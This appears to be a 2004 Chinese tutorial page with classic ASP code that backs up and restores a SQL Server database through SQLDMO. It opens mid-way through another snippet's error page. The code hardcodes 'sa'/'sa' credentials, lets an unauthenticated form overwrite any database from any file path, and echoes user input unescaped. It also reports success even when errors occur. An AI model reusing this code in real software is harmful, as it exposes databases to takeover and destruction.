errstr=&quot;administrators&nbsp;or&nbsp;password&nbsp;error!&quot; case&nbsp;&quot;20482&quot; errstr=&quot;server&nbsp;name&nbsp;error&nbsp;or&nbsp;server&nbsp;cannot&nbsp;connect!&quot; case&nbsp;&quot;911&quot; errstr=&quot;database&nbsp;not&nbsp;found!&quot; case&nbsp;&quot;15026&quot; errstr=&quot;server&nbsp;path&nbsp;not&nbsp;found!&quot; case&nbsp;&quot;3201&quot; errstr=&quot;server&nbsp;path&nbsp;not&nbsp;found!&quot; case&nbsp;&quot;3254&quot; errstr=&quot;restore&nbsp;from&nbsp;file&nbsp;lawlessness!&quot; case&nbsp;else errstr=&quot;unknown&nbsp;error!&nbsp;retry&nbsp;later&nbsp;please!&quot; end&nbsp;select %&gt; &lt;HTML&gt; &lt;HEAD&gt; &lt;META&nbsp;name=VI60_defaultClientScript&nbsp;content=VBScript&gt; &lt;META&nbsp;NAME=&quot;GENERATOR&quot;&nbsp;Content=&quot;Microsoft&nbsp;FrontPage&nbsp;4.0&quot;&gt; &lt;SCRIPT&nbsp;ID=clientEventHandlersVBS&nbsp;LANGUAGE=vbscript&gt; &lt;!– Sub&nbsp;btnret_onclick history.back End&nbsp;Sub –&gt; &lt;/SCRIPT&gt; &lt;title&gt;&lt;/title&gt; &lt;/HEAD&gt; &lt;body&nbsp;class=&quot;bg_frame_up&quot;&gt; &lt;p&nbsp;align=center&gt;&lt;font&nbsp;color=#006666&gt;&lt;%=errstr%&gt;&lt;/font&gt;&lt;/p&gt; &lt;p&nbsp;align=center&gt;&lt;input&nbsp;id=btnret&nbsp;name=btnret&nbsp;type=button&nbsp;value=Return&nbsp;style=&quot;font-family:&nbsp;Arial;&nbsp;font-size:&nbsp;9pt&quot;&gt;&lt;/p&gt; &lt;/BODY&gt; &lt;/HTML&gt;&nbsp; Asp备份与恢复SQL Server数据库

一个用asp备份与恢复SQL Server数据库的例子代码，希望对一些朋友有用。(注意：数据库使用中可能无法恢复)

&lt;HTML&gt; &lt;HEAD&gt; &lt;TITLE&gt;SQL Server 数据库的备份与恢复&lt;/TITLE&gt; &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=gb2312&quot;&gt; &lt;/HEAD&gt; &lt;BODY&gt; &lt;form method=&quot;post&quot; name=myform&gt; 选择操作：&lt;INPUT TYPE=&quot;radio&quot; NAME=&quot;act&quot; id=&quot;act_backup&quot;&nbsp;&nbsp;value=&quot;backup&quot;&gt;&lt;label for=act_backup&gt;备份&lt;/label&gt;　 &lt;INPUT TYPE=&quot;radio&quot; NAME=&quot;act&quot; id=&quot;act_restore&quot; value=&quot;restore&quot;&gt;&lt;label for=act_restore&gt;恢复&lt;/label&gt; &lt;br&gt;数据库名：&lt;INPUT TYPE=&quot;text&quot; NAME=&quot;databasename&quot; value=&quot;&lt;%=request(&quot;databasename&quot;)%&gt;&quot;&gt; &lt;br&gt;文件路径：&lt;INPUT TYPE=&quot;text&quot; NAME=&quot;bak_file&quot; value=&quot;c:$1.bak&quot;&gt;(备份或恢复的文件路径)&lt;br&gt; &lt;input type=&quot;submit&quot; value=&quot;确定&quot;&gt; &lt;/form&gt; &lt;% 'SQL Server 数据库的备份与恢复! '海娃@2004-4-2 '<a href="http://www.51windows.net/" target="_blank">http://www.51windows.Net</a> dim sqlserver,sqlname,sqlpassword,sqlLoginTimeout,databasename,bak_file,act sqlserver = &quot;localhost&quot; 'sql服务器 sqlname = &quot;sa&quot;&nbsp;&nbsp; '用户名 sqlpassword = &quot;sa&quot;&nbsp;&nbsp;'密码 sqlLoginTimeout = 15 '登陆超时 databasename = trim(request(&quot;databasename&quot;)) bak_file = trim(request(&quot;bak_file&quot;)) bak_file = replace(bak_file,&quot;$1&quot;,databasename) act = lcase(request(&quot;act&quot;)) if databasename = &quot;&quot; then response.write &quot;input database name&quot; else if act = &quot;backup&quot; then &nbsp;&nbsp;Set srv=Server.CreateObject(&quot;SQLDMO.SQLServer&quot;) &nbsp;&nbsp;srv.LoginTimeout = sqlLoginTimeout &nbsp;&nbsp;srv.Connect sqlserver,sqlname, sqlpassword &nbsp;&nbsp;Set bak = Server.CreateObject(&quot;SQLDMO.Backup&quot;) &nbsp;&nbsp;bak.Database=databasename &nbsp;&nbsp;bak.Devices=Files &nbsp;&nbsp;bak.Files=bak_file &nbsp;&nbsp;bak.SQLBackup srv &nbsp;&nbsp;if err.number&gt;0 then &nbsp;&nbsp;&nbsp;&nbsp;response.write err.number&amp;&quot;&lt;font color=red&gt;&lt;br&gt;&quot; &nbsp;&nbsp;&nbsp;&nbsp;response.write err.description&amp;&quot;&lt;/font&gt;&quot; &nbsp;&nbsp;end if &nbsp;&nbsp;Response.write &quot;&lt;font color=green&gt;备份成功!&lt;/font&gt;&quot; elseif act = &quot;restore&quot; then &nbsp;&nbsp;'恢复时要在没有使用数据库时进行！ &nbsp;&nbsp;Set srv=Server.CreateObject(&quot;SQLDMO.SQLServer&quot;) &nbsp;&nbsp;srv.LoginTimeout = sqlLoginTimeout &nbsp;&nbsp;srv.Connect sqlserver,sqlname, sqlpassword &nbsp;&nbsp;Set rest=Server.CreateObject(&quot;SQLDMO.Restore&quot;) &nbsp;&nbsp;rest.Action=0 ' full db restore &nbsp;&nbsp;rest.Database=databasename &nbsp;&nbsp;rest.Devices=Files &nbsp;&nbsp;rest.Files=bak_file &nbsp;&nbsp;rest.ReplaceDatabase=True 'Force restore over existing database &nbsp;&nbsp;if err.number&gt;0 then &nbsp;&nbsp;&nbsp;&nbsp;response.write err.number&amp;&quot;&lt;font color=red&gt;&lt;br&gt;&quot; &nbsp;&nbsp;&nbsp;&nbsp;response.write err.description&amp;&quot;&lt;/font&gt;&quot; &nbsp;&nbsp;end if &nbsp;&nbsp;rest.SQLRestore srv &nbsp;&nbsp; &nbsp;&nbsp;Response.write &quot;&lt;font color=green&gt;恢复成功!&lt;/font&gt;&quot; else &nbsp;&nbsp;Response.write &quot;&lt;font color=red&gt;没有选择操作&lt;/font&gt;&quot; end if end if %&gt; &lt;/BODY&gt; &lt;/HTML&gt;</div>